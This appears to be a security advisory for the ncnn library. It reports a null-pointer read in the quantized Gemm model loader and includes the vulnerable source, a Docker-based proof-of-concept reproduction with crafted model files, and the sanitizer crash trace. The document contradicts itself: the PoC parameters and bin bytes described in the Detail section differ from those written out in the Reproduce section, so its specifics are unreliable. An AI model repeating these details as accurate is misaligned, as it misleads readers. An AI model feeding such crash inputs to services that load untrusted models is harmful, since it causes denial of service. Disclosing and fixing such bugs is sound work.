Null Dereference in Quantized Gemm Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/gemm.cpp:433 in Gemm::load_model
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x598ca9ca5753 bp 0x7ffd0177e590 sp 0x7ffd0177dad0 T0)

Summary

ncnn's quantized Gemm loader indexes a scale record without checking that it was read. When quantize_term is set and constantB == 1, Gemm::load_model executes B_data_int8_scale = mb.load(1, 1)[0]; a .bin file truncated just before that record makes ModelBin return an empty Mat, and element zero of it is a read of address 0x0. The confirmed entry point is ncnnoptimize poc.param poc.bin out.param out.bin 0, and any service calling ncnn::Net::load_model on attacker-controlled model files hits the same line.

Detail

The untrusted fields are Gemm parameter keys 5 (constantB), 8/9 (constantN/constantK) and 18 (quantize_term), plus the length of the weight file. load_param rejects only quantize_term values 4, 5 and 6 and the >= 400 block-quantize range, so the plain int8 value 2 is accepted. In load_model the bulk weight reads are validated — B_data and C_data are each tested with .empty() — but the int8 scale block is not:

// src/layer/gemm.cpp:383
        else
            B_data = mb.load(constantK, constantN, 0);
        if (B_data.empty())
            return -100;

// src/layer/gemm.cpp:423
#if NCNN_INT8
    if (quantize_term && !weight_block_quantize)
    {
        if (constantA == 1)
        {
            A_data_int8_scales = mb.load(constantM, 1);
        }

        if (constantB == 1)
        {
            B_data_int8_scale = mb.load(1, 1)[0];
        }
    }
#endif // NCNN_INT8

ModelBinFromDataReader::load logs "ModelBin read weight_data failed 0" and returns a default-constructed Mat when the reader runs dry (src/modelbin.cpp:317-318); Mat::operator[] then evaluates ((float*)data)[0] on a null data pointer.

The PoC layer is Gemm gemm 1 1 data out 5=1 7=1 8=1 9=1 18=2, so constantA is 0, constantB is 1, constantM/constantN/constantK are all 1, constantC is 0 and quantize_term is 2. poc.bin is the eight bytes struct.pack('<If', 0x0002C056, 1.0), which exactly satisfies mb.load(constantK, constantN, 0) for a 1x1 B matrix. Because constantA is 0, the A_data_int8_scales read is skipped and the very next operation is the unchecked mb.load(1, 1)[0] at end-of-file.

Reproduce

mkdir -p ncnn-poc-null-dereference-in-quantized-gemm-loading && cd ncnn-poc-null-dereference-in-quantized-gemm-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data
Gemm gemm 1 1 data out 5=1 8=1 9=1 18=1
EOF

base64 -d > poc.bin <<'EOF'
AAAAAAAAAAA=
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

ModelBin read weight_data failed 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x6036cd905753 bp 0x7ffdcdb17e70 sp 0x7ffdcdb173b0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x6036cd905753 in ncnn::Gemm::load_model(ncnn::ModelBin const&) /ncnn/src/layer/gemm.cpp:433
    #1 0x6036c7780a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #2 0x6036c778190a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #3 0x6036c7781c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #4 0x6036c7694caf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #5 0x784b9c3ad1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x784b9c3ad28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x6036c7614624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/gemm.cpp:433 in ncnn::Gemm::load_model(ncnn::ModelBin const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst